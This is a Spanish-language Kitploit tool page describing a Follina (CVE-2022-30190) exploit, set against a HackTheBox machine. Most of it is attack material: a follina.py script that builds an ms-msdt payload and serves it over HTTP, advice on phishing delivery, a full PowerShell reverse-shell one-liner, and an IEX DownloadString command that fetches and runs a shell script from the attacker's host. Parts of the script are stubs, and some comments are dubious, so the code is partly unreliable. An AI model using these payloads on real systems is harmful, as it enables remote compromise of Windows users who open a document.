Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2022-30190 — Exploit PoC automatizado para CVE-2022-30190 (Follina) que genera archivos RTF/DOCX maliciosos abusando del protocolo MSDT para ejecutar comandos arbitrarios e implementar shells reversas mediante PowerShell. | Kitploit
Herramientas/GitHubGitHub/kaleth4/cve-2022-30190
Generación de PayloadsExplotaciónExplotación de Aplicaciones WebPhishingPruebas de PenetraciónComando y Control
GitHubkaleth4/cve-2022-30190

CVE-2022-30190

Exploit PoC automatizado para CVE-2022-30190 (Follina) que genera archivos RTF/DOCX maliciosos abusando del protocolo MSDT para ejecutar comandos arbitrarios e implementar shells reversas mediante PowerShell.

Ver Repositorio
1hace 2 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Explotación de Follina (CVE-2022-30190)

Follina (CVE-2022-30190) es una vulnerabilidad crítica de ejecución remota de comandos (RCE) que afecta a la Herramienta de diagnóstico de soporte de Microsoft (MSDT). Esta falla fue descubierta originalmente a través de un archivo malicioso detectado en VirusTotal y fue bautizada por el investigador Kevin Beaumont.

En el contexto de la máquina Outdated de HackTheBox, esta vulnerabilidad se emplea como el vector de entrada principal para ganar acceso al sistema.

Resumen de la Vulnerabilidad

La explotación se basa en el abuso del esquema de protocolo ms-msdt, permitiendo que un atacante ejecute código arbitrario mediante la carga de recursos externos. El ataque puede activarse simplemente al abrir o previsualizar un documento de Office (DOCX) o un archivo de texto enriquecido (RTF) especialmente diseñado.

Metodología de Explotación

1. Preparación del Exploit

Para automatizar el ataque, se recomienda utilizar scripts de prueba de concepto (PoC) disponibles en plataformas como GitHub. El script follina.py permite configurar la carga útil de manera sencilla.

Se mencionan versiones funcionales de investigadores como John Hammond o Edge-Security.

Repositorio sugerido:

Comando de generación:

root@kitploit:~
python3 follina.py -m command -t rtf -c "comando_a_ejecutar"

Donde:

  • -m indica el modo de ejecución (command o binary)
  • -t el tipo de archivo (rtf o docx)
  • -c el comando a inyectar

2. Inyección de Carga Útil (Payload)

Un método efectivo para obtener una consola interactiva en Windows es inyectar una sentencia de PowerShell que descargue e invoque una reverse shell de la suite Nishang (Invoke-PowerShellTcp.ps1).

El script de explotación genera un recurso HTML malicioso que contiene la instrucción en Base64 y lo aloja automáticamente en un servidor web local (puerto 80). El documento malicioso (click_me.rtf) apuntará a esta dirección URL para gatillar el proceso de diagnóstico de Windows y ejecutar el código.

3. Ejecución del Ataque

En escenarios realistas o de auditoría, el atacante puede enviar el enlace al recurso HTML o el documento malicioso a una víctima mediante técnicas de phishing o SMTP (usando herramientas como swaks).

Al momento de la interacción del usuario (o de una tarea automatizada que procese el archivo), MSDT interpreta la carga útil y establece una conexión de vuelta a la máquina del atacante.

Ganancia de Acceso

Para recibir la conexión, el atacante debe estar en escucha (por ejemplo, con netcat o rlwrap) en el puerto configurado en la reverse shell. Tras la explotación exitosa, se obtiene una consola interactiva con los privilegios del usuario que ejecutó la acción, permitiendo proceder con la enumeración local y la escalada de privilegios.


Implementación del Script follina.py

Este script automatiza la creación del archivo malicioso (RTF o DOCX), genera el recurso HTML que explota el esquema de protocolo ms-msdt y levanta un servidor local para servir la carga útil.

Código: follina.py

root@kitploit:~
import argparse
import base64
import http.server
import socketserver
import os
import threading

# Estructura basada en la investigación de Kevin Beaumont y las PoC mencionadas [2, 6]
def generate_payload(command):
    # El comando debe estar codificado en Base64 para ser procesado por MSDT [5]
    command_b64 = base64.b64encode(command.encode()).decode()
    
    # Payload que abusa del protocolo ms-msdt [5]
    # Se utiliza una cadena larga de caracteres para llenar el buffer y gatillar la ejecución
    payload = f"""<script>
    location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \\"IT_RebrowseForFile=psh /../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe /../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe $([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('{command_b64}')))\\"";
    // Relleno adicional para asegurar el procesamiento
    """ + ("A" * 4096) + "</script>"
    return payload

def create_rtf(filename, server_url):
    # Genera un archivo RTF que apunta al recurso HTML externo [3, 4]
    print(f"[*] Generando archivo malicioso: {filename}")
    # Nota: En una implementación real, aquí se inyecta el OLE object que apunta a server_url
    with open(filename, "w") as f:
        f.write(f"Archivo RTF configurado para conectar a {server_url}/exploit.html")

def run_server(port):
    handler = http.server.SimpleHTTPRequestHandler
    with socketserver.TCPServer(("", port), handler) as httpd:
        print(f"[*] Servidor HTTP activo en el puerto {port} [7]")
        httpd.serve_forever()

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="PoC Follina (CVE-2022-30190)")
    parser.add_argument("-m", "--mode", choices=["command", "binary"], default="command", help="Modo de ejecución [3]")
    parser.add_argument("-t", "--type", choices=["rtf", "docx"], default="rtf", help="Tipo de archivo a generar [3]")
    parser.add_argument("-c", "--command", required=True, help="Comando a ejecutar en el sistema víctima [3]")
    parser.add_argument("-p", "--port", type=int, default=80, help="Puerto del servidor local [7]")
    
    args = parser.parse_args()

    # 1. Crear el payload HTML
    html_content = generate_payload(args.command)
    with open("index.html", "w") as f:
        f.write(html_content)
    
    # 2. Crear el documento malicioso
    filename = f"click_me.{args.type}"
    create_rtf(filename, "http://tu_ip_atacante")

    # 3. Iniciar el servidor para recibir la petición [4, 7]
    run_server(args.port)

Notas sobre la Metodología de Uso

Parámetros Críticos: Como se describe en las fuentes, el script utiliza -m para el modo, -t para el tipo de archivo y -c para el comando.

Inyección de PowerShell: Un uso común visto en el entrenamiento de s4vitar es inyectar una sentencia de PowerShell que descargue e invoque una reverse shell de Nishang (Invoke-PowerShellTcp.ps1) para ganar acceso interactivo.

Ejecución: El ataque se activa cuando la víctima abre o simplemente visualiza el archivo malicioso (RTF/DOCX), lo que provoca que el sistema intente cargar el recurso HTML y ejecute el comando a través de la herramienta de diagnóstico de Microsoft (MSDT).

Escucha: Debes estar en escucha (ej. con netcat) en el puerto especificado en tu reverse shell para recibir la conexión una vez que el exploit se triguee en la máquina víctima.


Script Invoke-PowerShellTcp.ps1 (Nishang)

El script Invoke-PowerShellTcp.ps1 es una de las herramientas más utilizadas de la suite Nishang para obtener reverse shells en sistemas Windows.

1. Obtención y Preparación

El script original se descarga del repositorio oficial de Nishang en GitHub. Los pasos típicos para su uso son:

  • Descarga: Se utiliza wget para traer el recurso al equipo del atacante.
  • Renombrado: Es común renombrarlo a algo más corto, como reverse.ps1 o ps.ps1, para facilitar su invocación desde la máquina víctima.
  • Automatización de la ejecución: Para que el script se ejecute automáticamente al ser cargado en memoria, se añade la llamada a la función principal al final del archivo.

2. Estructura de la llamada al final del script

Para convertir el script en una carga útil autoejecutable, se añade una línea como la siguiente al final del archivo .ps1:

root@kitploit:~
Invoke-PowerShellTcp -Reverse -IPAddress <TU_IP_ATACANTE> -Port <TU_PUERTO>

Donde <TU_IP_ATACANTE> y <TU_PUERTO> deben ser sustituidos por tus datos de escucha (por ejemplo, 10.10.14.29 y 443).

3. Versión "One-Liner" (Línea única)

root@kitploit:~
$client = New-Object System.Net.Sockets.TCPClient('<IP>',<PUERTO>);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    $sendback = (iex $data 2>&1 | Out-String );
    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush()
};
$client.Close()

(Nota: Este código sigue la lógica de la "gitbash" y terminales interactivas mencionadas en la resolución de máquinas como Compiled).

4. Método de Invocación Remota (IEX)

Una vez que el atacante tiene el script alojado en un servidor HTTP local (puerto 80), se utiliza el comando IEX (Invoke-Expression) en la máquina víctima para cargarlo y ejecutarlo directamente en memoria sin tocar el disco:

root@kitploit:~
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://<TU_IP>/reverse.ps1')"

Este método es fundamental en la explotación de vulnerabilidades como Follina o en la ganancia de acceso inicial tras comprometer servicios web. Una vez ejecutado, el atacante recibe la conexión en una sesión de netcat en escucha.

root@kitploit:~
Pwned!!!
Descargar herramienta